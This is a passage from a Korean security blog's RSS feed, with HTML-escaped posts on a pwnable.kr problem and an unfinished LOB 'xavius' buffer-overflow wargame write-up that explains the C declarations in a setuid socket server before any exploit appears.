line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;perror(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;read&amp;nbsp;erro&amp;nbsp;:&amp;nbsp;&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;exit(&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;printf&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;%s&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;,&amp;nbsp;buf);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style=&quot;text-align:right; margin-top:-13px; margin-right:5px; font-size:9px; font-style:italic&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;color:#4f4f4f; text-decoration:none&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;Colored by Color Scripter&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;vertical-align:bottom; padding:0 2px 4px 0&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;text-decoration:none; color:white&quot;&gt;&lt;span style=&quot;font-size: 14pt; word-break: normal; background-color: rgb(79, 79, 79); color: white; border-radius: 10px; padding: 1px;&quot;&gt;cs&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;좀 찾아보니, read 함수가 scanf 함수와 같은 기능을 하는 것 같다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;결국 fd가 0, 1, 2일 때, stream을 가리키기 때문에, 사용자로부터 입력을 받는것 같다....&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;</description>
      <category>Wargame/pwnable.kr</category>
      <author>MarcoKhan</author>
      <guid isPermaLink="true">https://marcokhan.tistory.com/221</guid>
      <comments>https://marcokhan.tistory.com/221#entry221comment</comments>
      <pubDate>Thu, 1 Nov 2018 17:36:02 +0900</pubDate>
    </item>
    <item>
      <title>해커스쿨 LOB xavius 풀이, write-up [미완]</title>
      <link>https://marcokhan.tistory.com/220</link>
      <description>&lt;p&gt;&lt;span style=&quot;font-size: 36pt;&quot;&gt;&lt;b&gt;xavius --- throw me away&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;문제 풀기 전에 아래의 명령어를 반드시 쳐야한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt; background-color: rgb(228, 247, 186);&quot;&gt;$export SHELL=/bin/bash2&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt; background-color: rgb(228, 247, 186);&quot;&gt;$/bin/bash2&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;우선 xavius의 디렉터리를 확인한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 1000px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99FE65485BD5690F2C&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99FE65485BD5690F2C&quot; width=&quot;1000&quot; height=&quot;68&quot; filename=&quot;이미지 001.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;span style=&quot;background-color: rgb(228, 247, 186);&quot;&gt;death_knight&lt;/span&gt;라는 의심스러운 파일이 존재한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;span style=&quot;background-color: rgb(228, 247, 186);&quot;&gt;death_knight는 death_knight의 권한을 가지고 있고, setuid가 걸려있는 파일&lt;/span&gt;이다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;death_knight.c를 가지고 death_knight elf 파일을 만들었을 가능성이 있기 때문에, death_knight 파일을 본 뒤 어떤 취약점을 가지고 있는지 확인해보자.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 1000px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99B76F475BD569A31E&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99B76F475BD569A31E&quot; width=&quot;1000&quot; height=&quot;1236&quot; filename=&quot;이미지 002.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;지역 변수 buffer와 server_fd, client_fd를 선언한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;div class=&quot;colorscripter-code&quot; style=&quot;color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; position:relative !important; overflow:auto&quot;&gt;&lt;table class=&quot;colorscripter-code-table&quot; style=&quot;margin:0; padding:0; border:none; background-color:#272727; border-radius:4px;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;padding:6px; border-right:2px solid #4f4f4f&quot;&gt;&lt;div style=&quot;margin:0; padding:0; word-break:normal; text-align:right; color:#aaa; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;2&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;3&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;padding:6px 0&quot;&gt;&lt;div style=&quot;margin:0; padding:0; color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;char&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;buffer[&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;40&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;];&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;int&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;server_fd,&amp;nbsp;client_fd;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;vertical-align:bottom; padding:0 2px 4px 0&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;text-decoration:none; color:white&quot;&gt;&lt;span style=&quot;font-size: 14pt; word-break: normal; background-color: rgb(79, 79, 79); color: white; border-radius: 10px; padding: 1px;&quot;&gt;cs&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;sockaddr_in 구조체 변수 server_addr, client_addr 두 개를 선언한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;div class=&quot;colorscripter-code&quot; style=&quot;color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; position:relative !important; overflow:auto&quot;&gt;&lt;table class=&quot;colorscripter-code-table&quot; style=&quot;margin:0; padding:0; border:none; background-color:#272727; border-radius:4px;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;padding:6px; border-right:2px solid #4f4f4f&quot;&gt;&lt;div style=&quot;margin:0; padding:0; word-break:normal; text-align:right; color:#aaa; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;2&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;padding:6px 0&quot;&gt;&lt;div style=&quot;margin:0; padding:0; color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;struct&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;sockaddr_in&amp;nbsp;server_addr;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;struct&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;sockaddr_in&amp;nbsp;client_addr;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;vertical-align:bottom; padding:0 2px 4px 0&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;text-decoration:none; color:white&quot;&gt;&lt;span style=&quot;font-size: 14pt; word-break: normal; background-color: rgb(79, 79, 79); color: white; border-radius: 10px; padding: 1px;&quot;&gt;cs&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;span style=&quot;background-color: rgb(228, 247, 186);&quot;&gt;sockaddr_in&lt;/span&gt; 구조체는 아래와 같다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;span style=&quot;background-color: rgb(228, 247, 186);&quot;&gt;sockaddr_in은 IPv4 주소체계에서 사용하는 구조체&lt;/span&gt;이다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;span style=&quot;background-color: rgb(228, 247, 186);&quot;&gt;sockaddr_in의 크기는 16 byte&lt;/span&gt;이다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;div class=&quot;colorscripter-code&quot; style=&quot;color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; position:relative !important; overflow:auto&quot;&gt;&lt;table class=&quot;colorscripter-code-table&quot; style=&quot;margin:0; padding:0; border:none; background-color:#272727; border-radius:4px;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;padding:6px; border-right:2px solid #4f4f4f&quot;&gt;&lt;div style=&quot;margin:0; padding:0; word-break:normal; text-align:right; color:#aaa; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;2&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;3&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;4&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;5&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;6&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;padding:6px 0&quot;&gt;&lt;div style=&quot;margin:0; padding:0; color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;struct&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;sockaddr_in{&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;sin_family_t&amp;nbsp;sin_family;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(153, 153, 153); font-size: 14pt;&quot;&gt;//&amp;nbsp;항상&amp;nbsp;AF_INET이다.&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;unist16_t&amp;nbsp;sin_port;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(153, 153, 153); font-size: 14pt;&quot;&gt;//&amp;nbsp;16-bit&amp;nbsp;port&amp;nbsp;number&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;struct&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;in_addr&amp;nbsp;sin_addr;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(153, 153, 153); font-size: 14pt;&quot;&gt;//&amp;nbsp;32-bit&amp;nbsp;IP&amp;nbsp;주소&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;char&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;sin_zero[&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;8&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;];&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(153, 153, 153); font-size: 14pt;&quot;&gt;//&amp;nbsp;sockaddr과&amp;nbsp;같은&amp;nbsp;크기를&amp;nbsp;유지하기&amp;nbsp;위한&amp;nbsp;zero&amp;nbsp;padding(dummy)&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;}&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style=&quot;text-align:right; margin-top:-13px; margin-right:5px; font-size:9px; font-style:italic&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;color:#4f4f4f; text-decoration:none&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;Colored by Color Scripter&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;vertical-align:bottom; padding:0 2px 4px 0&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;text-decoration:none; color:white&quot;&gt;&lt;span style=&quot;font-size: 14pt; word-break: normal; background-color: rgb(79, 79, 79); color: white; border-radius: 10px; padding: 1px;&quot;&gt;cs&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;지역 변수 sin_size를 선언한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;div class=&quot;colorscripter-code&quot; style=&quot;color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; position:relative !important; overflow:auto&quot;&gt;&lt;table class=&quot;colorscripter-code-table&quot; style=&quot;margin:0; padding:0; border:none; background-color:#272727; border-radius:4px;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;padding:6px; border-right:2px solid #4f4f4f&quot;&gt;&lt;div style=&quot;margin:0; padding:0; word-break:normal; text-align:right; color:#aaa; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;padding:6px 0&quot;&gt;&lt;div style=&quot;margin:0; padding:0; color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;int&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;sin_size;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;vertical-align:bottom; padding:0 2px 4px 0&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;text-decoration:none; color:white&quot;&gt;&lt;span style=&quot;font-size: 14pt; word-break: normal; background-color: rgb(79, 79, 79); color: white; border-radius: 10px; padding: 1px;&quot;&gt;cs&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
